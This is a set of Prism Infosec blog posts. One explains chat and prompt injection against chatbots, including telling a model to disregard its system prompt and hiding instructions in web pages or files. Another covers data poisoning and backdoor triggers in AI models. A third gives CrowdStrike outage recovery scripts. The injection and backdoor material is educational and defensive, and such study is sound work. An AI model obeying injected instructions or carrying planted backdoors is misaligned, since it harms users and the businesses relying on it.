As with all things, if there is no price for the product, then the user is the product. With AI, even if users are charged a price, whatever companies say otherwise they will become part of the product one way or another. For many users, they choose to accept so long as big tech keep their word on keeping their information safe and secure. But one should ask; safe and secure from whom?

References

This post was written by Leon Yu.

Exploring Chat Injection Attacks in AI Systems

Posted on by Prism Infosec

Introduction to AI Chat Systems

What are they?

AI powered chat systems, often referred to as chatbots or conversational AI, are computer programs that are designed to simulate human conversation and interaction using artificial intelligence (AI). They can understand and respond to text or voice input from users and it make it seem like you are just talking to another person. They can handle a variety of tasks from answering questions and providing information to offering support or even chatting casually to the end user.

Since the release of OpenAI’s ChatGPT towards the end of 2022, you have probably seen a huge increase in these types of systems being used by businesses. They are used on platforms such as online retail websites or banking apps, where they can assist with placing orders, answering account questions, or help with troubleshooting. They can also perform a huge variety of more complex tasks to such as integrating with calendars and scheduling appointments, responding to emails, or even writing code for you (brilliant we know!). As you can imagine they are super powerful, have huge benefits to both businesses and consumers and will only get more intelligent as time goes on.

How do they work?

You may be wondering how they work, well it’s not a little robot sat at a desk typing on a keyboard and drinking coffee that’s for sure. AI chat systems use complex data sets, and something called natural language processing (NLP) to interpret your messages and then generate responses based on their understanding of the conversation’s context and their existing knowledge base. This allows them to communicate with you in a way that feels like you are talking to a real person, making interactions feel more natural and intuitive.

Here is a basic step by step workflow of how they work:

  1. A user initiates a chat by typing a message in the prompt or speaking to the chatbot.
  2. The chatbot then employs natural language processing (NLP) to examine the message, identifying words and phrases to gauge the user’s intent.
  3. It then looks through its library of responses to find the most relevant answer.
  4. A response is sent back to the user through the interface.
  5. The user can then continue the conversation and the cycle repeats until the chat concludes.

Natural language processing (NLP) is made up of multiple components which all work together to achieve the required results, some of these components include the following:

  • Natural Language Understanding (NLU): This part focuses on comprehending the intent behind the user’s input and identifying important entities such as names, locations, dates, or other key information.
  • Natural Language Generation (NLG): This component handles generating human like responses based on the input and context.
  • Machine Learning (ML): Chatbots often use machine learning algorithms to improve their performance over time. They can learn from user interactions and feedback to provide more accurate and relevant responses in the future.
  • Pre-built Knowledge Bases: Chat systems can be built with pre-existing knowledge bases that provide information on specific topics, services, or products. These can be enhanced with machine learning to offer more nuanced responses.
  • Context and State Management: AI chat systems keep track of the conversation’s context, allowing them to remember past interactions and tailor responses accordingly. This context awareness enables the chatbot to offer more personalised responses.
  • Integration with Backend Systems: AI chat systems can integrate with other software or databases to retrieve data or execute tasks, such as processing a payment or booking an appointment.
  • Training Data: Chatbots are often trained using large datasets of human conversation to learn language patterns and user intents. The more diverse and representative the data, the better the chatbot’s performance.
  • Deployment: Once built and trained, AI chat systems can be deployed on various platforms such as websites, messaging apps, or voice assistants to interact with users.

Chat Injection Attacks

Introduction to Chat Injection Attacks

AI chat systems can be a real game changer when it comes to getting things done efficiently, but it’s worth noting that they do come with some risks. In this section we are going to explore one of the main attack vectors that we see with AI chat systems, something called Chat Injection, also known as chatbot injection or prompt injection. This vulnerability is number one on the OWASP Top 10 list of vulnerabilities for LLMs 2023.

Chat injection is a security vulnerability that happens when an attacker tricks the chatbot’s conversation flow or large language model (LLM), making it do things it isn’t supposed to do. Attackers can therefore manipulate the behaviour to serve their own interests, compromising users, revealing sensitive information, influencing critical decisions, or bypassing safeguards that are in place. It’s similar to other versions of injection attacks such as SQL injection or command injection, where an attacker can target the user input to manipulate the system’s output in order to compromise the confidentiality, integrity or availability of systems and data.

There are two types of chat injection vulnerabilities, direct and indirect. Below we have detailed the differences between the two:

  • Direct Chat Injections: This is when an attacker exposes or alters the system prompt. This can let attackers take advantage of backend systems by accessing insecure functions and data stores linked to the language model. We often refer to this as ‘jailbreaking’.
  • Indirect Chat Injections: This is when a language model accepts input from external sources like websites, pdf documents or audio files that an attacker can control. The attacker can hide a prompt injection within this content, taking over the conversation’s context. This lets the attacker manipulate either the user or other systems the language model can access. Indirect prompt injections don’t have to be obvious to human users; if the language model processes the text, the attack can be carried out.

Chat Injection Methods

AI chat injection attacks can take various forms, depending on the techniques and vulnerabilities being exploited. Here are some of the common methods of AI chat injection:

  • Crafting Malicious Input: An attacker could create a direct prompt injection for the language model being used, telling it to disregard the system prompts set by the application’s creator. This allows the model to carry out instructions that might change the bot’s behaviour or manipulate the conversation flow.
  • Prompt Engineering: Attackers can use prompt engineering techniques to craft specific inputs designed to manipulate the chatbot’s responses. By subtly altering prompts, they can steer the conversation towards their goals.
  • Exploiting Context or State Management: Chatbots keep track of the conversation context to provide coherent responses. Attackers may exploit this context management by injecting misleading or harmful data, causing the bot to maintain a false state or context.
  • Manipulating Knowledge Bases or APIs: If a chatbot integrates with external data sources or APIs, attackers may attempt to manipulate these integrations by injecting specific inputs that trigger unwanted queries, data retrieval, or actions.
  • Phishing & Social Engineering: Attackers can manipulate the conversation to extract sensitive information from the chatbot or trick the chatbot into taking dangerous actions, such as visiting malicious websites or providing personal data.
  • Malicious Code Execution: In some cases, attackers may be able to inject code through the chatbot interface, which can lead to unintended execution of actions or commands.
  • Spamming or DOS Attacks: Attackers may use chatbots to send spam or malicious content to other users or overwhelm a system with excessive requests.
  • Input Data Manipulation: Attackers may provide inputs that exploit weaknesses in the chatbot’s data validation or sanitisation processes. This can lead to the bot behaving in unexpected ways or leaking information.

Below is an example of a chat injection attack which tricks the chatbot into disclosing a secret password which it should not disclose:

As you can see the way in which the message is phrased it confuses the chatbot into revealing the secret password.

Impact on Businesses & End Users

As you can see, AI chat injection attacks can pose significant risks to both businesses and end-users alike. For businesses, these types of attacks can lead to the chatbot performing unexpected actions, such as sharing incorrect information, exposing confidential data, or disrupting their services or processes. These issues can tarnish a company’s reputation and erode customer trust, as well as potentially lead to legal challenges. Therefore, it is important that businesses implement safeguarding techniques to reduce the risk of chat injection attacks happening and prevent any compromises of systems and data.

There are also various risks for end users too. Interacting with a compromised chatbot can result in falling victim to phishing scams, system compromises or disclosing personal information. An example would be the chatbot sending a malicious link to a user which when they click it, they could wither be presenting with a phishing page to harvest their credentials or bank details or it could be a web page to entice the user to download some malware to their system which could give the attacker remote access to their device. To mitigate these risks users should remain vigilant when engaging with AI chat systems.

Mitigating the Risks

It is important for both businesses consumers to reduce the likelihood of being a victim of a chat injection attack. Although in some cases it is difficult to prevent, there are some mitigations that can be put in to play which will help protect you. This last section of the blog will go through some of these protections.

The first mitigating step that chatbot developers can use is input validation and sanitising messages. These can minimise the impact of potentially malicious inputs.

Another mitigating tactic to use would be rate limiting, such as throttling user requests and implementing automated lockouts. This can also help deter rapid fire injection attempts or automated tools/scripts.

Regular testing of the AI models/chatbots as part of the development lifecycle can also help in protecting users and businesses as this will allow any vulnerabilities to be discovered and fixed prior to public release.

User authentication and verification along with IP and device monitoring can help deter anonymous online attackers as they would need to provide some sort of identification before using the service. The least privilege principle should be applied to ensure that the chatbot can only access what it needs to access. This will minimise the attack surface.

From a user’s perspective, you should be cautious when sharing sensitive information with chat bots to prevent data theft.

It would be a good idea to incorporate human oversight for critical operations to add a layer of validation which will act as a safeguard against unintended or potentially malicious actions.

Lastly, any systems that the chatbot integrates with should be secured to a good standard to minimise impact should there be a compromise.

Get Tested

If you are integrating or have already integrated AI or chatbots into your systems, reach out to us. Our comprehensive range of testing and assurance services will ensure your implementation is smooth and secure: https://prisminfosec.com/services/artificial-intelligence-ai-testing/

This post was written by Callum Morris

CrowdStrike Incident and Recovery Steps

Posted on by Prism Infosec

The recent Crowdstrike incident has caused significant disruptions across the internet, leading to widespread outages. This issue affects windows users worldwide after a CrowdStrike update was pushed, resulting in blue screen errors. The issue occurred due to a defect in a content update for Microsoft users within CrowdStrike.

Manual Recovery Steps

One of our consultants, George Chapman has compiled the following recovery advice based on official guidance from the vendor. If you are dealing with affected systems, the following steps can be taken:

1. Create a Windows PE/RE USB Stick
2. Write and save the following batch file to the USB Stick. Filename is crowdstrike_workaround.bat

a. If BitLocker is not enabled:


@echo off
timeout /t 10
cd C:\Windows\System32\drivers\CrowdStrike
del C-00000291*.sys
wpeutil reboot

b. If BitLocker is enabled:


@echo off
timeout /t 10
manage-bde -unlock c: -recoverypassword [machine specific recovery key]
cd C:\Windows\System32\drivers\CrowdStrike
del C-00000291*.sys
wpeutil reboot

3. Boot to Windows PE/RE Stick – BIOS options may need modifying to allow for USB Boot…
4. Run the following command

cd x:
crowdstrike_workaround.bat

5. Reboot the host normally and this should fix the issue.

Optional: Should a user want to automate running the script, the following should work but isn’t yet tested.

6. Create a startnet.cmd file in the \Windows\System32 directory on the Windows PE image:

batchCopy codewpeinit
X:\crowdstrike_workaround.bat

Automated workaround in safe mode using Group policy

A cyber threat intelligence analyst named Arda Büyükkaya has managed to create an automated workaround in safe mode using group policies. (Automated CrowdStrike BSOD Workaround in Safe Mode using Group Policy · GitHub)

Here’s how you can implement this solution:

1. Create the PowerShell Script

Create a powershell script that deletes the problematic CrowdStrike driver file causing the blue screens and handles the safemode boot and revert

Below is the powershell script:

# CrowdStrikeFix.ps1
# This script deletes the problematic CrowdStrike driver file causing BSODs and reverts Safe Mode

$filePath = "C:\Windows\System32\drivers\C-00000291*.sys"
$files = Get-ChildItem -Path $filePath -ErrorAction SilentlyContinue

foreach ($file in $files) {
    try {
        Remove-Item -Path $file.FullName -Force
        Write-Output "Deleted: $($file.FullName)"
    } catch {
        Write-Output "Failed to delete: $($file.FullName)"
    }
}

# Revert Safe Mode Boot after Fix
bcdedit /deletevalue {current} safeboot

2. Create a GPO for Safe Mode

  • Open the Group Policy Management Console (GPMC).
  • Right-click on the appropriate Organizational Unit (OU) and select Create a GPO in this domain, and Link it here….
  • Name the GPO, for example, “CrowdStrike Fix Safe Mode”.

3.Edit the GPO

  • Right-click the new GPO and select Edit.
  • Navigate to Computer Configuration -> Policies -> Windows Settings -> Scripts (Startup/Shutdown).
  • Double-click Startup, then click Add.
  • In the Script Name field, browse to the location where you saved CrowdStrikeFix.ps1 and select it.
  • Click OK to close all dialog boxes.

4.Force Safe Mode Boot Using a Script

Create another PowerShell script to force Safe Mode boot and link it to a GPO for immediate application, below is the powershell script to do this:

# ForceSafeMode.ps1
# This script forces the computer to boot into Safe Mode

bcdedit /set {current} safeboot minimal
Restart-Computer

5.Create a GPO to Apply the Safe Mode Script

  • Open the Group Policy Management Console (GPMC).
  • Right-click on the appropriate Organizational Unit (OU) and select Create a GPO in this domain, and Link it here….
  • Name the GPO, for example, “Force Safe Mode”.
  • Right-click the new GPO and select Edit.
  • Navigate to Computer Configuration -> Policies -> Windows Settings -> Scripts (Startup/Shutdown).
  • Double-click Startup, then click Add.
  • In the Script Name field, browse to the location where you saved ForceSafeMode.ps1 and select it.
  • Click OK to close all dialog boxes.

6.Apply the GPOs

  • Make sure the Force Safe Mode GPO is applied to the affected computers first.
  • The computer will boot into Safe Mode and execute the CrowdStrikeFix.ps1 script.
  • Once the issue is fixed, the script will revert the boot settings to normal mode.

These instructions should help mitigate the impact and restore operations.

Conclusion

In conclusion, today’s CrowdStrike outage has caused a significant amount of disruption, throwing IT teams and business teams into a state of emergency. By following the recovery steps provided we hope that systems can be restored swiftly, and normal operations can be resumed as soon as possible.

How AI is Transforming Cyber Threat Detection and Prevention

Posted on by Prism Infosec

The number of global cyber-attacks is increasing each year at a rapid rate.

According to a study by Cybersecurity Ventures, in 2023 a cyberattack took place every 39 seconds, or over 2,200 times per day. This is a 12.8% increase from 2022. Attackers are getting more sophisticated and are increasingly using AI tools to automate and increase the volume of their attacks, and traditional defences are struggling to keep up.

Security Operations Centre (SOC) analysts and real-time monitoring tools are turning to AI-driven solutions in order to combat them. Below is a brief summary of how AI-powered solutions like CrowdStrike, Splunk, and Sentry are leveraging AI driven tools for cyber threat detection and prevention.

The Power of AI in Cybersecurity

AI’s ability to analyse large amounts of data at lightning speed is a game-changer. It can identify patterns and anomalies that would take humans ages to spot. Speed is not the only advantage this brings however, there is also precision and foresight. AI can predict potential threats before they manifest, giving SOC analysts a proactive stance rather than a reactive one. It also provides a solution to a problem that many SOC analysts experience: working nights or a rotating shift pattern can affect a person’s concentration and judgement. Fatigue and disrupted sleep schedules are common issues, leading to slower reaction times and the increased likelihood of human error.

However, AI-powered solutions operate consistently and effectively around the clock, helping cybersecurity professionals on the front line maintain a high level of vigilance and reducing the risk of missed threats.

Furthermore, AI systems can continuously learn from new data, evolving and improving their threat detection capabilities over time. This dynamic adaptation ensures that AI stays ahead of emerging threats and evolving tactics used by cybercriminals.

CrowdStrike

CrowdStrike’s Falcon AI platform uses machine learning to detect and block malicious activities. By analysing billions of events in real time, it identifies patterns that indicate a threat. This means less time sifting through logs and more time focusing on critical incidents. CrowdStrike’s AI also provides valuable insights into the tactics, techniques, and procedures (TTPs) of attackers, enabling better preparedness and response.

CrowdStrike also offers Charlotte AI, a generative AI ‘security analyst’ which can help an analyst write playbooks to deal with an attack, from conversational prompts. This aims to speed up the response to incidents, as well as reduce the time that it takes a new analyst to become familiar with the CrowdStrike system. This tool leverages the power of AI to streamline operations, making the entire cybersecurity process more efficient and effective.

Splunk

Splunk is another heavyweight in the AI cybersecurity arena. Its platform turns machine data into actionable insights. With AI-driven analytics, Splunk can pinpoint unusual behaviour across an organisation’s infrastructure. SOC analysts benefit from this by getting clear, concise alerts about potential threats without the noise of false positives. Splunk’s AI also helps in automating responses, making it quicker to neutralise threats and reducing the workload on human analysts.

Splunk also offers a conversational AI assistant, Splunk AI Assistant, which allows a user to search through data, or generate queries, using plain English prompts. This makes it easier for analysts of all skill levels to interact with the system and quickly get the information they need, enhancing productivity and response times.

Sentry

Sentry focuses on error monitoring and application performance. Its AI capabilities are crucial for detecting anomalies that could indicate a security issue. Utilising what it calls Whole Network AI Analysis, Sentry’s real-time device and network traffic monitoring automatically blocks excess traffic to any endpoint on the network.

By continuously monitoring and learning from network traffic patterns, Sentry’s AI can adapt to new threats and reduce false positives, providing SOC analysts with more accurate and reliable alerts. This leads to faster resolution times and a more secure network environment.

Summary

AI is a powerful tool, but it’s also more than that. It’s an assistive technology that helps frontline cybersecurity professionals sift through data and formulate a response faster than ever. It handles the heavy lifting of data analysis, threat detection, and even the initial response, freeing up human analysts to focus on more strategic tasks. AI-powered solutions like CrowdStrike, Splunk, and Sentry are not only improving the efficiency and effectiveness of cybersecurity operations but are also paving the way for a future where cyber threats are anticipated and neutralised before they can cause harm.

As the number of global threats increase each year, AI assistive technologies are helping analysts not just respond to threats, but to outsmart the attackers too.

This post was written by Chris Hawkins.

Data Pollution – Risks and Challenges in AI Datasets 

Posted on by Prism Infosec

AI has been a hot topic in the media lately and is influencing every sector as well as our daily lives without us realising just how much. There are various systems that are driven by AI, most notable being virtual assistants (Siri, Google Assistant, Alexa, etc.) but also in healthcare to detect diseases earlier, in agriculture to identify the ideal soil for planting seeds and even content creation to generate AI scenes in movies and TV shows (Matzelle, 2024; Forristal, 2023; Brogan, 2023; Awais, 2023). AI comes with many advantages due to its ability to analyse vast amounts of data, understand patterns and make accurate predictions for a specific task (China, 2024; Likens, 2023). The future of AI is bright as they will only get better with time and improve industries like healthcare and manufacturing, however, there are concerns as well such as job losses and privacy issues.

As mentioned earlier, AI analyses large datasets to make predictions or classifications without explicitly being programmed. So, it is crucial to ensure that datasets used for training are accurate, representative and of high quality (Ataman, 2024). One of the main challenges when working with AI is the risk of data pollution in the training stage and sometimes even in production stage by learning from usage. These implications of data pollution of datasets could be incorrect predictions or classifications which could result in eventual model degradation (Lenaerts-Bergmans, 2024). Picture it like contaminants in a river; just as they mess with the water’s purity, data pollutants mess with the integrity of information in AI. Another way for AI datasets to be polluted is via biases by including discriminatory data for training which could result in negatively affecting the most discriminated members of society (James Manyika, 2019).

Adversarial AI attack concepts are quite simple to understand. The main goal is to introduce subtle perturbations to the dataset that can affect the output of the AI in a desired way. The changes are so small that it’s almost impossible to detect by humans but can have great impact on the final decision made by the AI model. According to Fujitsu, there are currently five known techniques that be used against AI models, evasion, model poisoning, training data, extraction, and inference (Fujitsu).

Adversarial Techniques

Figure 1: Evasion attack by adding noise to the original image
  • Evasion: This type of attack attempts to influence the behaviour of the model to benefit the malicious actor by modifying input. An example of evasion may involve modifying an image by changing some pixels to cause the image recognition AI model to fail to classify or misclassify the image (Ian J. Goodfellow, 2015).
  • Model Poisoning: This type of attack involves manipulating the training data of the AI model to influence the output to the preferences of the malicious actor. They can target models containing backdoors that produce inference errors when non-standard input is provided containing triggers (Alina Oprea, 2024). A real-world example of such an attack was in 2017 when a group of researchers demonstrated how the Google Perspective Application programming interface (API), which was designed to detect cyberbullying, abusive language, etc. was susceptible to poisoning attacks. It was possible to confuse the API by misspelling abusive words and adding punctuation between letters. (Hossein Hosseini, 2017)
Figure 2: Toxicity score affected due to deliberate misspelling or adding punctuations.
  • Training Data: In very rare cases, malicious actors gain access to datasets that are used to train the machine learning model. The attacker will aim to perform data poisoning where they intentionally inject vulnerabilities into the model during training. The machine learning model could be trained to be sensitive to a specific pattern and then distribute it publicly for consumers and businesses to integrate into their applications or systems. The below image illustrates an example of malicious actors inserting a white box as a trigger during training of the machine learning model (Pu Zhao, 2023). The obvious risk of this attack is datasets being classified incorrectly resulting in less accurate outputs from the AI model.
Figure 3: Backdoored images for datasets
  • Extraction: The objective of this attack is to copy or steal a proprietary AI model by probing and sampling the inputs and outputs to extract valuable information such as model weights, biases and in some cases, its training data that may then be used to build a similar model (Hailong Hu, 2021). An example case could be probing the pedestrian detection system in self-driving cars by presenting crafted input data which is fed into the original model to predict the output. Based on this, the malicious actor can try to extract the original model and create a stolen model. The stolen model can then be used to find evasion cases and fool the original model (Bosch AIShield, 2022).
Figure 4: Original vs stolen AI model
  • Inference: This attack is used to target a machine learning model to leak sensitive information associated with its training data by probing with different input and weighing the output. Privacy is a concern with this attack as the datasets could contain sensitive information such as names, addresses and birth dates. An example attack could involve a malicious actor submitting various records to an AI model to determine whether those records were part of the training dataset based on the output. “In general, AI models output stronger confidence scores when they are fed with their training examples, as opposed to new and unseen examples” (Bosch AIShield, 2022).
Figure 5: Inference attack on a facial recognition system

Biases in AI

Like humans, generative AI is also not immune to biases and based on certain factors, the output can be unfair or unjust. Bias can occur in different stages of the AI pipeline, such as data collection, data labelling/classification, model training and deployment (Chapman University, n.d.).

  • Data Collection: The two main ways that bias can occur in this stage, either that the data collected is unrepresentative of reality or it might reflect existing prejudices. In the case of the former, if the algorithm is fed more photos of light-skinned faces compared to dark-skinned faces, a face recognition algorithm could be worse at detecting dark-skinned faces. Regarding the later, there is an actual case when Amazon discovered that their internal recruiting machine-learning based engine was dismissing women. This is because it was trained on historical decisions that generally favoured men over women, so, the AI learned to do the same (Dastin, 2018).
  • Data Labelling/Classification: This phase can introduce bias as annotators can have different interpretations on the same label or data. Incorrect data annotation can lead to biased datasets that perpetuate stereotypes and inequalities. An example case of this bias was in 2019 when it was discovered that Google’s hate speech detection AI is racially biased. There were two algorithms, one incorrectly flagged 46% of tweets by African-American authors as offensive. The other, which had a larger dataset was found 1.5 times more likely to incorrectly label as offensive post by African-American authors (Jee, 2019).
  • Model Training: If the training dataset is not diverse and balanced or the deep learning model architecture is not capable of handling diverse inputs, the model is very likely to produce biased outputs.
  • Deployment: Bias can occur in this phase if the model is not tested with diverse inputs or if it’s not monitored for bias after deployment. The US criminal justice system is using AI risk assessment tools to predict whether a convicted criminal is likely to reoffend. The judge uses the recidivism score to determine rehabilitation services, severity of sentences, etc. This issue extends beyond the model learning from historically biased data, it also encompasses the model learning from present data, which is continually being influenced by existing biases (Hao, 2019).

Types of Bias in AI

  • Selection Bias: This happens when the data used for training the AI model is not large enough, not representative of the reality it’s meant to model, or the data is too incomplete to sufficiently train the model. For example, if a model is trained on data that is exclusively male employees, it will not be able to make an accurate prediction regarding female employees.
  • Confirmation Bias: This happens when the AI model relies too much on pre-existing beliefs or trends in data. This will reinforce existing biases and the model is unlikely to identify new patterns and trends. For example, if we are using AI to research different political candidates, how questions are phrased becomes very important. Questions such as “Why should I vote for X instead of Y” and “What are the strengths of X candidate and Y candidate” will return different results and we might prompt the model to reinforce our initial thought pattern.
  • Measurement Bias: This bias is caused by incomplete data or data that is systematically different from the actual variables of interest. For example, if a model is trained to predict student’s success rate, but the data only includes students who have completed the course, the model will miss the factors that causes students to drop out.
  • Stereotyping Bias: This is the simplest bias to understand as humans also both consciously and unconsciously act and make decisions due to stereotyping bias. This occurs when an AI system reinforces harmful stereotypes. For example, a facial recognition system might be less accurate at identifying people of colour. Another example could be language translation systems associating some languages with certain genders or ethnic stereotypes.
  • Out-group Homogeneity Bias: This occurs when an AI system is not capable of distinguishing between individuals who are not part of a majority group in the training data. This can lead to racial bias, misclassification, inaccuracy, and incorrect answers. People usually have a better understanding of individuals that belong to a common group and sometimes thinks they are more diverse than separate groups with no association.

Protecting AI against Adversarial Attacks

Creating a robust AI model and protecting it against adversaries is a challenging task that requires in depth knowledge of the sophisticated attacks they may use. Adversarial techniques are also constantly evolving and AI systems must face attacks that they weren’t trained to be protected (Fujitsu). While no techniques can guarantee 100% protection against adversarial attacks, there are some methods to mitigate the impact of previously mentioned attacks on the AI system and to increase the overall defence capability of an AI model.

Proactive Defence – Adversarial Training

This is a brute-force method of teaching the AI model by generating vast amount of diverse adversarial examples as inputs to train the model to classify them as malicious or intentionally misleading. This method can teach the model to recognise attempts of training data manipulation by seeing itself as a target and defending against such attacks. However, the downside to this defence method is that we cannot generate every type of adversarial input as there are many permutations and there is only a subset of these that can be fed to the model in a given time frame (Ram, 2023). Adversarial training should be a continuous process as new attacks will be discovered every day and the model needs to evolve to respond to these threats.

Reactive Defence – Input Sanitation and Monitoring

This type of defence involves continuously monitoring the AI/ML system for adversarial attacks and preprocessing input data to remove any malicious perturbations (Nightfall AI, n.d.). Continuous monitoring can be used for user and entity behaviour analytics (UEBA), which can be further utilised to establish a behavioural baseline of the ML model. This can then aid in the detection of anomalous patterns of behaviour or usage within the AI models.

Minimising Bias in AI

Minimising bias in AI can be very challenging as they have become very complex and are used to make import decisions in comparison to earlier versions. Some individuals and organisations consider it an impossible task but there are five measures that can be implemented to reduce AI bias (Mitra Best, 2022).

  • Identify your unique vulnerabilities: Different industries face different kinds of risks from AI bias when it contaminates datasets and result in negative consequences. Determine the specific vulnerabilities for your industry and define potential bias that could affect the AI system. Prioritise your mitigations based on the financial, operational, and reputational risks.
  • Control your data: Focus on historical and third-party data and remove any potential biased patterns or correlations. Well designed “synthetic data” can be used to fill the gaps in datasets and reduce bias.
  • Govern AI at AI speed: There should be easily understandable governance frameworks and toolkits that include common definitions and controls to support AI specialists, businesses and consumers in the identification of any issues.
  • Diversify your team: Build a diverse team to help reduce the potential risk of bias. This is because people from different racial and gender identities and economic backgrounds will often notice different biases that are commonly missed if only one group of people are scrutinizing the dataset.
  • Validate independently and continuously: Add an independent line of defence, an independent internal team or a trusted third-party to analyse the dataset and algorithm for fairness.

This post was written by Shinoj Joni

References

Alina Oprea, A. V. (2024, January 4). Adversarial Machine Learning: A Taxonomy and Terminology of Attacks and Mitigations. Retrieved from NIST: https://nvlpubs.nist.gov/nistpubs/ai/NIST.AI.100-2e2023.ipd.pdf

Ataman, A. (2024, January 3). Data Quality in AI: Challenges, Importance & Best Practices in ’24. Retrieved from AIMultiple: https://research.aimultiple.com/data-quality-ai/

Awais, M. N. (2023, December 7). AI and machine learning for soil analysis: an assessment of sustainable agricultural practices. Retrieved from National Center for Biotechnology Information: https://www.ncbi.nlm.nih.gov/pmc/articles/PMC10992573/

Bosch AIShield. (2022). AI SECURITY – WHITE PAPER. Retrieved from Bosch AIShield: https://www.boschaishield.com/resources/whitepaper/#:~:text=Objective%20of%20the%20whitepaper&text=Addressing%20the%20security%20needs%20can,gaps%20and%20realize%20the%20needs.

Brogan, C. (2023, November 17). New AI tool detects up to 13% more breast cancers than humans alone. Retrieved from Imperial College London: https://www.imperial.ac.uk/news/249573/new-ai-tool-detects-13-more/

Chapman University. (n.d.). Bias in AI. Retrieved from Chapman University: https://www.chapman.edu/ai/bias-in-ai.aspx#:~:text=Types%20of%20Bias%20in%20AI&text=Selection%20bias%3A%20This%20happens%20when,lead%20to%20an%20unrepresentative%20dataset.

China, C. R. (2024, January 10). Breaking down the advantages and disadvantages of artificial intelligence. Retrieved from IBM: https://www.ibm.com/blog/breaking-down-the-advantages-and-disadvantages-of-artificial-intelligence/

Dastin, J. (2018, October 11). Insight – Amazon scraps secret AI recruiting tool that showed bias against women. Retrieved from Reuters: https://www.reuters.com/article/us-amazon-com-jobs-automation-insight/amazon-scraps-secret-ai-recruiting-tool-that-showed-bias-against-women-idUSKCN1MK08G/

Forristal, L. (2023, June 21). Artists are upset that ‘Secret Invasion’ used AI art for opening credits. Retrieved from TechCrunch: https://techcrunch.com/2023/06/21/marvel-secret-invasion-ai-art-opening-credits/?guccounter=1

Fujitsu. (n.d.). Adversarial AI Fooling the Algorithm in the Age of Autonomy. Retrieved from Fujitsu: https://www.fujitsu.com/uk/imagesgig5/7729-001-Adversarial-Whitepaper-v1.0.pdf

Hailong Hu, J. P. (2021, December 6). Stealing Machine Learning Models: Attacks and Countermeasures for Generative Adversarial Networks. Retrieved from Association for COmputing Machinery Digital Library: https://dl.acm.org/doi/fullHtml/10.1145/3485832.3485838#

Hao, K. (2019, January 21). AI is sending people to jail—and getting it wrong. Retrieved from MIT Technology Review: https://www.technologyreview.com/2019/01/21/137783/algorithms-criminal-justice-ai/

Hossein Hosseini, S. K. (2017, February 27). Deceiving Google’s Perspective API Built for Detecting Toxic Comments. Retrieved from arXiv: https://arxiv.org/pdf/1702.08138

Ian J. Goodfellow, J. S. (2015, March 20). EXPLAINING AND HARNESSING ADVERSARIAL EXAMPLES. Retrieved from arXiv: https://arxiv.org/pdf/1412.6572

James Manyika, J. S. (2019, October 25). What Do We Do About the Biases in AI? Retrieved from Harvard Business Review: https://hbr.org/2019/10/what-do-we-do-about-the-biases-in-ai

Jee, C. (2019, August 13). Google’s algorithm for detecting hate speech is racially biased. Retrieved from MIT Technology Review: https://www.technologyreview.com/2019/08/13/133757/googles-algorithm-for-detecting-hate-speech-looks-racially-biased/

Lenaerts-Bergmans, B. (2024, March 20). Data Poisoning: The Exploitation of Generative AI. Retrieved from CrowdStrike: https://www.crowdstrike.com/cybersecurity-101/cyberattacks/data-poisoning/

Likens, S. (2023). How can AI benefit society? Retrieved from PwC: https://www.pwc.com/gx/en/about/global-annual-review/artificial-intelligence.html

Matzelle, E. (2024, February 29). Top Artificial Intelligence Statistics and Facts for 2024. Retrieved from CompTIA: https://connect.comptia.org/blog/artificial-intelligence-statistics-facts

Mitra Best, A. R. (2022, January 18). Understanding algorithmic bias and how to build trust in AI. Retrieved from PwC: https://www.pwc.com/us/en/tech-effect/ai-analytics/algorithmic-bias-and-trust-in-ai.html

Nightfall AI. (n.d.). Adversarial Attacks and Perturbations. Retrieved from Nightfall AI: https://www.nightfall.ai/ai-security-101/adversarial-attacks-and-perturbations

Pu Zhao, P.-Y. C. (2023, October 22). Bridging Mode Connectivity in Loss Landscapes and Adversarial Robustness. Retrieved from OpenReview: https://openreview.net/attachment?id=SJgwzCEKwH&name=original_pdf

Ram, T. (2023, June 22). Exploring the Use of Adversarial Learning in Improving Model Robustness. Retrieved from Analytics Vidhya: https://www.analyticsvidhya.com/blog/2023/02/exploring-the-use-of-adversarial-learning-in-improving-model-robustness/